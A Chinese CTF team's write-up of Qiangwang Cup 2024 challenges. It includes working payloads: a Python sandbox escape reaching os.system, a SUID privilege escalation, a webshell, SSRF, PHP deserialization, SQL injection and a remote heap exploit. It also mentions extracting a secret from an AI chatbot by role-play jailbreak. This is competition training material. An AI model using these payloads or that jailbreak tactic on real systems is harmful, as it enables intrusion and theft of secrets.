第八届强网杯全国网络安全挑战赛 WriteUp

admin 2024年11月4日23:20:13评论77 views字数 52406阅读174分41秒阅读模式

我们新点击蓝字

第八届强网杯全国网络安全挑战赛 WriteUp

关注我们

声明

本文作者:CTF战队

本文字数:47064字

阅读时长:约60分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

第八届强网杯全国网络安全挑战赛 WriteUp

团队每周会报名参加各类CTF比赛,writeup在公众号更新。

我们建立了一个关于CTF的公开交流群,大家赛后可以交流技巧思路。

第八届强网杯全国网络安全挑战赛 WriteUp

第八届强网杯全国网络安全挑战赛

https://www.qiangwangbei.com

WEB

积木编程

https://pan.baidu.com/s/1YoJN0_he15aY2A-IYLgn1A 提取码(GAME)

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False



def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}{b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}{b})"

    if 'next' in block:
        
        block = block['next']['block']
        
        code +="n" + block_to_python(block)+ "n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "n"

        
    return python_code

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''

    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py"'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py"'w'as f:
                f.write(code)        
            result = subprocess.run(['python''run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error""Error generating Python code""details": str(e)})
    
if __name__ == '__main__':
    app.run(host = '0.0.0.0')

全角字符可绕过

第八届强网杯全国网络安全挑战赛 WriteUp
{
  "blocks": {
    "blocks": [
      {
        "type""print",
        "id""print1",
        "inputs": {
          "TEXT": {
            "block": {
              "type""text",
              "id""text1",
              "fields": {
                "TEXT""s"')nprint(open("/etc/passwd", "r").read())n#"
              }
            }
          }
        }
      }
    ]
  }
}

这里只能读取文件,没有读取/flag的权限n

hook 函数中,对event_name 长度进行了限制

def my_audit_hook(event_name, arg):
    # print(f"[+]{event_name},{arg}")
    blacklist = ["popen""input""eval""exec""compile""memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

可以看到,这里使用了len函数判断长度是否大于4。我们可以通过重写len函数,让它稳定返回3,就可以绕过第一层长度的过滤

__builtins__.len = lambda x: 3nprint(len('aaaaa'))

可以看到len函数返回3

随后,我们使用类似于SSTI的payload获取os.system

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

可以在绕过了event name长度限制后拿到os.system

将二者拼在一起转化成全角字符使用即可执行命令,接下来开始提权读取文件

payload:

{
  "blocks": {
    "blocks": [
      {
        "type""print",
        "id""print1",
        "inputs": {
          "TEXT": {
            "block": {
              "type""text",
              "id""text1",
 "fields": {
                "TEXT""s"')n__builtins__.len = lambda x: 3n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("命令")n#"
              }
            }
          }
        }
      }
    ]
  }
}

探测SUID文件

find / -perm -u=s -type f 2>/dev/null

发现 dd 命令具有 root 执行权限

第八届强网杯全国网络安全挑战赛 WriteUp

可以通过 dd 读取 /flag 文件内容

第八届强网杯全国网络安全挑战赛 WriteUp

xiaohuanxiong

题目部分admin 路由未经鉴权可直接访问

第八届强网杯全国网络安全挑战赛 WriteUp

/admin/payment.html 处可以修改网站配置,写入一句话木马,使用蚁剑连接

第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp

连接后可以在根目录发现 flag 文件

第八届强网杯全国网络安全挑战赛 WriteUp

snake

做题太无聊,来玩贪吃蛇~

使用脚本可以跑出来分数(欣赏图形化贪吃蛇 多跑几次就会弹出来win)

import http.client
import json
import random
import time
import pygame

# 服务器地址和端口
host = 'eci-2zedfkwha8kfivrlh22r.cloudeci1.ichunqiu.com'
port = 5000

# 定义四个可能的方向及其对应的坐标变化
DIRECTIONS = {
    'UP': (0-1),
    'DOWN': (01),
    'LEFT': (-10),
    'RIGHT': (10)
}

# 初始化Pygame
pygame.init()

# 设置窗口大小
window_size = 400
cell_size = 20
screen = pygame.display.set_mode((window_size, window_size))
pygame.display.set_caption('Snake Game')

# 定义颜色
WHITE = (255255255)
BLACK = (000)
GREEN = (02550)
RED = (25500)


def draw_snake(snake):
    for segment in snake:
        x, y = segment
        pygame.draw.rect(screen, GREEN, (x * cell_size, y * cell_size, cell_size, cell_size))


def draw_food(food):
    x, y = food
    pygame.draw.rect(screen, RED, (x * cell_size, y * cell_size, cell_size, cell_size))


def send_move(direction):
    # 创建连接
    conn = http.client.HTTPConnection(host, port)

    # 准备请求体
    payload = json.dumps({"direction": direction})

    # 设置请求头
    headers = {
        'Content-Type''application/json',
        'Accept-Language''zh-CN,zh;q=0.9',
        'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36',
        'Accept''*/*',
        'Origin'f'http://{host}:{port}',
        'Referer'f'http://{host}:{port}/',
        'Accept-Encoding''gzip, deflate, br',
        'Cookie''session=eyJ1c2VybmFtZSI6InRlc3QifQ.ZyYZAQ.a_hBKR3T7JORnNazAei6qatDLQ4',
        'Connection''keep-alive'
    }

    # 发送POST请求
    conn.request("POST""/move", body=payload, headers=headers)

    # 获取响应
    response = conn.getresponse()
    data = response.read().decode('utf-8')

    # 关闭连接
    conn.close()

    return json.loads(data)


def choose_direction(snake, food, board_size=20):
    head_x, head_y = snake[0]
    food_x, food_y = food

    # 计算每个方向的得分
    scores = {}
    for direction, (dx, dy) in DIRECTIONS.items():
        new_x = head_x + dx
        new_y = head_y + dy

        # 检查是否会撞墙
        if not (0 <= new_x < board_size and 0 <= new_y < board_size):
            continue

        # 检查是否会撞到自己
        if [new_x, new_y] in snake:
            continue

        # 计算与食物的距离
        distance = abs(new_x - food_x) + abs(new_y - food_y)
        scores[direction] = distance

    # 选择距离食物最近的安全方向
    if scores:
        best_direction = min(scores, key=scores.get)
        return best_direction
    else:
        # 如果没有安全的方向靠近食物,随机选择一个安全的方向
        possible_moves = list(DIRECTIONS.keys())
        for direction, (dx, dy) in DIRECTIONS.items():
            new_x = head_x + dx
            new_y = head_y + dy
            if not (0 <= new_x < board_size and 0 <= new_y < board_size) or [new_x, new_y] in snake:
                possible_moves.remove(direction)

        if possible_moves:
            return random.choice(possible_moves)
        else:
            return None


def main():
    # 初始方向
    direction = 'RIGHT'

    while True:
        # 发送移动请求
        response = send_move(direction)

        # 打印返回的原始JSON内容
        print(response)

        # 检查游戏状态
        if response['status'] != 'ok':
            print("Game Over")
            continue

        # 更新蛇的位置和食物位置
        snake = response['snake']
        food = response['food']

        # 绘制游戏界面
        screen.fill(BLACK)
        draw_snake(snake)
        draw_food(food)
        pygame.display.flip()

        # 选择下一个方向
        direction = choose_direction(snake, food)

        # if direction is None:
        #     print("No safe moves left, Game Over")
        #     break

        # 处理事件
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                return

        # 这里可以添加延时以减慢游戏速度,便于观察
        # time.sleep(0.5)


if __name__ == "__main__":
    main()
    pygame.quit()

跳转 /snake_win?username=test

http://eci-2zedfkwha8kfivrlh22r.cloudeci1.ichunqiu.com:5000/snake_win?username=1%27union%20select%209999,999,990009--+

有注入,但是改成绩没有用,数据库中没有flag,sqlite

第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp

最后肝到半夜发现是居然是SSTI!

第八届强网杯全国网络安全挑战赛 WriteUp

platform

任何人都能登录的平台

输入任何内容都可以登录,php的,输入的用户名会显示在页面上

第八届强网杯全国网络安全挑战赛 WriteUp

源码 www.zip

通过替换字符进行逃逸控制反序列化的内容来执行命令

第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp

proxy

Proxy what you want

附件下载 提取码(GAME)备用下载

package main

import (
    "bytes"
    "io"
    "net/http"
    "os/exec"

    "github.com/gin-gonic/gin"
)

type ProxyRequest struct {
    URL             string            `json:"url" binding:"required"`
    Method          string            `json:"method" binding:"required"`
    Body            string            `json:"body"`
    Headers         map[string]string `json:"headers"`
    FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
    r := gin.Default()

    v1 := r.Group("/v1")
    {
        v1.POST("/api/flag"func(c *gin.Context) {
            cmd := exec.Command("/readflag")
            flag, err := cmd.CombinedOutput()
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }
            c.JSON(http.StatusOK, gin.H{"flag": flag})
        })
    }

    v2 := r.Group("/v2")
    {
        v2.POST("/api/proxy"func(c *gin.Context) {
            var proxyRequest ProxyRequest
            if err := c.ShouldBindJSON(&proxyRequest); err != nil {
                c.JSON(http.StatusBadRequest, gin.H{"status""error""message""Invalid request"})
                return
            }

            client := &http.Client{
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                    if !req.URL.IsAbs() {
                        return http.ErrUseLastResponse
                    }

                    if !proxyRequest.FollowRedirects {
                        return http.ErrUseLastResponse
                    }

                    return nil
                },
            }

            req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }

            for key, value := range proxyRequest.Headers {
                req.Header.Set(key, value)
            }

            resp, err := client.Do(req)

            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }

            defer resp.Body.Close()

            body, err := io.ReadAll(resp.Body)
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }

            c.Status(resp.StatusCode)
            for key, value := range resp.Header {
                c.Header(key, value[0])
            }

            c.Writer.Write(body)
            c.Abort()
        })
    }

    r.Run("127.0.0.1:8769")
}

发现v1接口无法直接访问,可以用v2proxy做个代理,构造个json请求包

第八届强网杯全国网络安全挑战赛 WriteUp
POST /v2/api/proxy HTTP/1.1
Host: 123.56.219.14:28704
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 104

{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"follow_redirects": true
}

第八届强网杯全国网络安全挑战赛 WriteUp

base64解密即可

Password Game

四个限制,要有数字字母,数字和要为一个数的倍数,一个算式结果要出现在字符串中,长度小于一个数,然后就可以得到部分代码,其中包含各种类和主逻辑

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

显然要找一条链子触发反序列化,刚开始定向思维的想user::destruct=>guest::toString=>user::__invoke接着往下走,但是toString里是$value而不是$this->value,这玩意就变成不可控了。

可以看到除了反序列化外,下面还有字符串比较的操作,里面对反序列化出来的$userusernamepassword变量,可以看到root类中是没有password的,且存在__get方法,那么就可以从这里做开头,从root::get开始去修改$this->value为flag,然后通过引用设置user→username为root→value,接着触发user::destruct输出flag

<?php

function sum($a){
    $su = 0;
    for($i=0; $i < strlen($a); $i++){
        if(is_numeric($a[$i])){
            $su += $a[$i];
        }
    }
    return $su;
}

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
}
class root{
    public $username;
    public $value;
    public $kk;
}
class user{
    public $username;
    public $password;
    public $value;
}


$x = new root();
$x->username = "akaka";
$x->value = 2024;
$x->kk = new user();
$x->kk->username = &$x->value;
$x->kk->value = "6007675";

echo (26 * 4)."n";
echo (60101 - 25)."n";
$ser = serialize($x);
echo $ser."n";
echo sum($ser)."n";
echo strlen($ser)."n";

Pwn

baby_heap

[*] '/local/ctf/qwbs8/baby_heap/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

沙箱,这没禁用 execveat,可以用这个打哈

 line  CODE  JT   JF      K
=================================
 00000x20 0x00 0x00 0x00000004  A = arch
 00010x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 00020x20 0x00 0x00 0x00000000  A = sys_number
 00030x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 00040x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 00050x15 0x03 0x00 0x00000002  if (A == open) goto 0009
 00060x15 0x02 0x00 0x0000003b  if (A == execve) goto 0009
 00070x15 0x01 0x00 0x00000101  if (A == openat) goto 0009
 00080x06 0x00 0x00 0x7fff0000  return ALLOW
 00090x06 0x00 0x00 0x00000000  return KILL

GLIBC 2.35 先整个环境

GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.7) stable release version 2.35.

下个 docker 先

docker pull roderickchan/debug_pwn_env:22.04-2.35-0ubuntu3.7-20240421
第八届强网杯全国网络安全挑战赛 WriteUp
  • add 功能:堆块要大于 0x500,基本是 largebin 或者 mmap
  • delete 功能:没有 check,可以多次 free 同一块地址
  • edit 功能:只能用一次,下标在范围内就能修改,不检查是否释放
  • show 功能:只能用一次
  • 有两个隐藏功能,一个对env操作,一个可以在任意地址写16个字节,都只能使用一次;该隐藏功能有限制,只能写 libc 段和后面的段,且在 libc 段中,只能写 _IO_2_1_stdin 之前的地址

应该是非预期了,找了个 got 表链子,直接泄漏环境变量

putenv 能触发如下链子

  • __strncmp_avx2(const char *__s1, const char *__s2, size_t __n)
    • __s1:等于 **environ
    • __s2:等于 putenv 所操作的环境变量名称,不包括等号和内容
    • __n:等于 putenv 所操作的环境变量名称长度

将其直接改为 printf 泄漏环境变量,一般动态 flag 都依靠环境变量生成,这里直接获取环境变量即可

exp 如下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-m""--mode", required=True, choices=["d""debug""r""remote"])
args = parser.parse_args()

context(arch="amd64", endian='el', os="linux", terminal=["tmux""splitw""-h"])
context.log_level = "debug"

if args.mode in ["d""debug"]:
    p = process('./pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('39.106.54.211'30821)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
chall = ELF('./pwn', checksec=False)


def add(_size):
    p.sendlineafter(b'Enter your choice: 'b'1')
    p.sendlineafter(b'Enter your commodity size n', str(_size).encode())


def delete(_idx):
    p.sendlineafter(b'Enter your choice: 'b'2')
    p.sendlineafter(b'Enter which to delete: n', str(_idx).encode())


def edit(_idx, _ctx):
    p.sendlineafter(b'Enter your choice: 'b'3')
    p.sendlineafter(b'Enter which to edit: n', str(_idx).encode())
    p.sendlineafter(b'Input the content n', str(_ctx).encode())


def show(_idx):
    p.sendlineafter(b'Enter your choice: 'b'4')
    p.sendlineafter(b'Enter which to show: n', str(_idx).encode())
    p.recvuntil(b'The content is here n')
    return p.recvuntil(b'Menu:n')[:-6]


def secret():
    p.sendlineafter(b'Enter your choice: 'b'5')
    p.sendlineafter(b'Maybe you will be sad !n'b'2')


def oooo(_addr, _ctx):
    p.sendlineafter(b'Enter your choice: 'b'10')
    p.sendafter(b'Input your target addr n', _addr)
    p.send(_ctx)
    



add(0x628)
add(0x618)
add(0x638)
add(0x618)
# gdb.attach(p, 'brva 0x1D23nb getenvnb setenvnb putenvnc')
delete(1)
libc.address = u64(show(1)[:8]) + 0x9c0 - libc.sym['_IO_2_1_stderr_']
success("libc.address = " + hex(libc.address))
libc_got_strlen = libc.address + 0x21a118
libc_setcontext = libc.address + 0x539e0
oooo(p64(libc_got_strlen), p64(libc.sym["printf"]))
secret()
p.interactive()

flag{648fed8f-4c88-4f72-a855-ad444999afbc}

Misc

givemesecret

Can you extract the flag from the AI? 请访问 http://ip:port

奶奶哄睡战术~

第八届强网杯全国网络安全挑战赛 WriteUp

Master of OSINT

本题以百度地图选取的经纬度为准。

这是一个街景挑战,你需要找到提供的街景图片拍摄所在的具体位置。然后在题目页面点击 send 按钮,弹出对话框并输入该位置的经纬度,格式为 longitude,latitude。

当精度达到要求时,即认为你找到了这个地点。总共有 10 个地点,找到其中 9 个即可通过本题。

提交的经纬度应符合 ^-?(d1,2}1[0-7]d|180)(.d{1,6)?,-?(d|[1-8]d|90)(.d{1,6})?$ 。例如,如果地点为「东方明珠广播电视塔」,那么你可以提交 121.506379,31.245414。

特别注明:请不要攻击本题目的平台,这是违反规则的。

第八届强网杯全国网络安全挑战赛 WriteUp

图片中有个风车,附近应该有个风力发电站,搜索风车后,找到一个相似的,是上海崇明长兴风力发电

第八届强网杯全国网络安全挑战赛 WriteUp

https://m.weibo.cn/status/DCujLoGq9?from=page_1005055335640503_profile&wvr=6&mod=weibotime&jumpfrom=weibocom

然后在百度地图上找到与之相同的地点

第八届强网杯全国网络安全挑战赛 WriteUp

图中的两种路灯+栅栏,可以初步认为这是在江浙。然后通过谷歌识图找到报恩寺塔,最终在百度全景地图锁定内环南线

第八届强网杯全国网络安全挑战赛 WriteUp

118.782063,32.013663

第八届强网杯全国网络安全挑战赛 WriteUp

首先判断拍摄所处位置应该是在立交或者高速上,再通过上方的那个栅栏,可初步猜测是在杭州。同时因为其宽度并不宽,且看不到收尾,那么上边的不是立交,只可能是铁路或者轻轨,再加上上方路段两旁的应该是高压线,从宽度和接触网来看感觉不似高铁,更像是轻轨线路。下方有许多空调外机,应该是横跨建筑群。右边有个IKEA(宜家)。那就在百度地图上找高铁和立交交错,且附近有宜家的地方,最终锁定杭州绕城高速和9号线交错的地方

120.293219,30.34633

第八届强网杯全国网络安全挑战赛 WriteUp

长沙橘子洲大桥 第八届强网杯全国网络安全挑战赛 WriteUp

112.967691,28.201726

第八届强网杯全国网络安全挑战赛 WriteUp

左边有个宏泰百货,右边高架立柱能看清一个三局,正中间高架上写着"中铁三局集团携手促进浙江经济发展",由于高架上均有高压接触网,那么可以猜测这里至少有三条铁路线交错,很有可能附近还有个高铁站。从浙江铁路网入手,最终锁定杭州南站附近的南秀路

第八届强网杯全国网络安全挑战赛 WriteUp

观察图片,图中应该是有水,猜测是湖,且湖和红色屋顶房子在同一边,道路两边分别有黄色和红色的标识物。然后谷歌识图搜到青海湖,通过百度地图在倒湖茶公路上找到那个红色屋顶的小房子。

第八届强网杯全国网络安全挑战赛 WriteUp

搜索桥梁图片,应该找到一个很像的,然后点进原文http://mt.sohu.com/20171228/n526620921.shtml,但原文中出现的大桥均不是图片中的,然后逐一查看武汉的长江大桥,发现了天兴洲长江大桥和图片中一模一样。

第八届强网杯全国网络安全挑战赛 WriteUp

114.413085,30.659759

第八届强网杯全国网络安全挑战赛 WriteUp

图中有个百安居,且旁边应该是一个购物商场之类的,同时观察路灯,猜测这是在上海,最后在龙阳路找到了

第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp

右边远处是一个机场的塔台,岔路口对面应该是一个中国航油的加油站,但是是白色的顶?在民航局查询运输机场,然后发现是成都双流国际机场旁边机场东三路。图中的加油站应该是没修好,百度地图上有这个建筑物,但没有显示名称。

第八届强网杯全国网络安全挑战赛 WriteUp
第八届强网杯全国网络安全挑战赛 WriteUp

百度搜图搜出来一张很像图片,是重庆谢家湾立交

第八届强网杯全国网络安全挑战赛 WriteUp

图片原文链接http://mt.sohu.com/20161016/n470410292.shtml

106.524402,29.526177

一 99.974383,36.66725

二 121.567039,31.211279

三 103.966657,30.571185

四 120.293197,30.346334

五 106.524114,29.52509

六 118.783635,32.013335

七 112.969521,28.201853

八 121.734859,31.412815

九 114.412567,30.661017

十 120.308631,30.152785

第八届强网杯全国网络安全挑战赛 WriteUp

谍影重重5

题目内容:

我国某部门已经连续三年对间谍张纪星进行秘密监控,最近其网络流量突然出现大量的神秘数据,为防止其向境外传送我国机密数据,我们已将其流量保存,请你协助我们分析其传输的秘密信息。

附件下载 提取码(GAME)备用下载

根据这个文章爆破密码

https://www.secpulse.com/archives/106276.htmln 第八届强网杯全国网络安全挑战赛 WriteUp

解密smb流

第八届强网杯全国网络安全挑战赛 WriteUp

导出所有对象 两个证书 一个flag.7z

第八届强网杯全国网络安全挑战赛 WriteUp

找到如下文章

https://bbs.kanxue.com/thread-255173.htm

用密码mimikatz导出密钥

第八届强网杯全国网络安全挑战赛 WriteUp

解开rdp协议n 第八届强网杯全国网络安全挑战赛 WriteUp

参考链接

https://res260.medium.com/ihack-2020-monster-inc-the-middle-rdp-network-forensics-writeup-91e2fb0f4287

重放获得密码解密flag.7z  babygirl2339347013182

第八届强网杯全国网络安全挑战赛 WriteUp

Reverse

mips

虚拟机逆向,下载下来qemu跑 有假opcode 出假flag

flag{reverse_dynamic} 

真flag实际上藏在/emu的加密逻辑里。我i们可以看到大概有两段加密逻辑

一段RC4,一段抑或与位移的混合加密。分别在地址0x3DE7A9和0x33D8E0

在0x33D8E0藏着一段RC4的加密

第八届强网杯全国网络安全挑战赛 WriteUp

手动去除花指令

第八届强网杯全国网络安全挑战赛 WriteUp

花指令去除后得到

第八届强网杯全国网络安全挑战赛 WriteUp

可以看到是魔改的RC4。这里拿到S盒和KEY以后接着往后看。

从0x3DE801可以看到有一段"flag{"头的格式校验

第八届强网杯全国网络安全挑战赛 WriteUp

xref 往回看,去除花指令后这里实际上藏着两段加密

第八届强网杯全国网络安全挑战赛 WriteUp

可以看到,此处是一个抑或加密加一次位移

位移加密显而易见,可以直接看到逻辑是将data中的7和11互换,12和16互换。(func_swap)

第八届强网杯全国网络安全挑战赛 WriteUp

抑或这里不是很好看,但是因为是单数字抑或所以可以爆破

编写解密脚本,解出(RC4解密直接找GPT写)

# 定义RC4加密函数
def rc4_decode(data, key):
    # 初始化S数组
    S = list(range(256))
    j = 0
    # 混淆S数组
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    out = []
    for t in range(len(data)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        # 应用RC4加密
        data[t] ^= S[(S[i] + S[j]) % 256]^ keyb[t & 3] # 这里小小魔改了
        
        # 应用额外的位操作来混淆数据
        data[t] = (((data[t] << 5) | (data[t] >> 3)) ^ 0xDE) & 0xFF
        data[t] = (((data[t] << 4) | (data[t] >> 4)) ^ 0xAD) & 0xFF
        data[t] = (((data[t] << 3) | (data[t] >> 5)) ^ 0xBE) & 0xFF
        data[t] = ((((data[t] ^ 0x3B) << 2) | ((data[t] ^ 0xC0) >> 6))) & 0xFF
        data[t] = ((data[t] << 1) | (data[t] >> 7)) & 0xFF
        
        out.append(data[t])
    return out

# 数据和密钥
data = [0xC40xEE0x3C0xBB0xE70xFD0x670x1D0xF80x970x680x9D0xB0x7F0xC70x800xDF0xF90x4B0xA00x460x91]
keyb = [0xDE0xAD0xBE0xEF]
key = '6105t3'.encode()  # 将字符串密钥转换为字节
# 交换data数组中的某些元素
data[12], data[16] = data[16], data[12]
data[7], data[11] = data[11], data[7]

# 执行RC4加密
dec = rc4_decode(data, key)

# 爆破异或值
for i in range(1100):
    a = ''.join([chr(x ^ i) for x in dec ])
    if a.isascii() and '}' in a:
        print(a)

输出

QeMu_r3v3rs3in9_h@ck6}
^jBzP}<y<}|<fa6PgOld9r
_kC{Q|=x=|}=g`7QfNme8s
YmE}Wz;~;z{;af1W`Hkc>
u
ZnF~Ty8}8yx8be2TcKh`=v
DpX`Jg&c&gf&|{,J}Uv~#h
EqYaKf'b'fg'}z-K|Tw"i
Gs[cId%`%de%x/I~Vu} k
Bv^fLa e a` z}*L{Spx%n
O{SkAl-h-lm-wp'Av^}u(c
I}UmGj+n+jk+qv!GpX{s.e
sGoW}PTPQKLJbAI_
}IaYs^Z^_EBsDlOGQ
aU}EoBFBCY^  oXpS[M
lXpHbOKONTSbU}^V
@
!      1w2w67w-*}9
+;<}8}<=}w&-%x3
.>
9x=x98x"%r#
( }6

显然第一个是flag(没有flag头)

flag{QeMu_r3v3rs3in9_h@ck6}

Crypto

EasyRSA

easy的RSA。

https://pan.baidu.com/s/1oqmNif9L3zaGgJMNvrlckQ 提取码(GAME)

#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2

class RSAEncryptor:
    def __init__(self):
        self.g = self.a = self.b = 0
        self.e = 65537
        self.factorGen()
        self.product()

    def factorGen(self):
        while True:
            self.g = getPrime(500)
            while not gmpy2.is_prime(2*self.g*self.a+1):
                self.a = random.randint(2**5232**524)
            while not gmpy2.is_prime(2*self.g*self.b+1):
                self.b = random.randint(2**5232**524)
            self.h = 2*self.g*self.a*self.b+self.a+self.b
            if gmpy2.is_prime(self.h):
                self.N = 2*self.h*self.g+1
                print(len(bin(self.N)))
                return

    def encrypt(self, msg):
        return gmpy2.powmod(msg, self.e, self.N)


    def product(self):
        with open('/flag''rb'as f:
            self.flag = f.read()
        self.enc = self.encrypt(self.flag)
        self.show()
        print(f'enc={self.enc}')

    def show(self):
        print(f"N={self.N}")
        print(f"e={self.e}")
        print(f"g={self.g}")


RSAEncryptor()

参考https://hasegawaazusa.github.io/common-prime-rsa.html#%E7%94%9F%E6%88%90%E7%AE%97%E6%B3%95

from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2
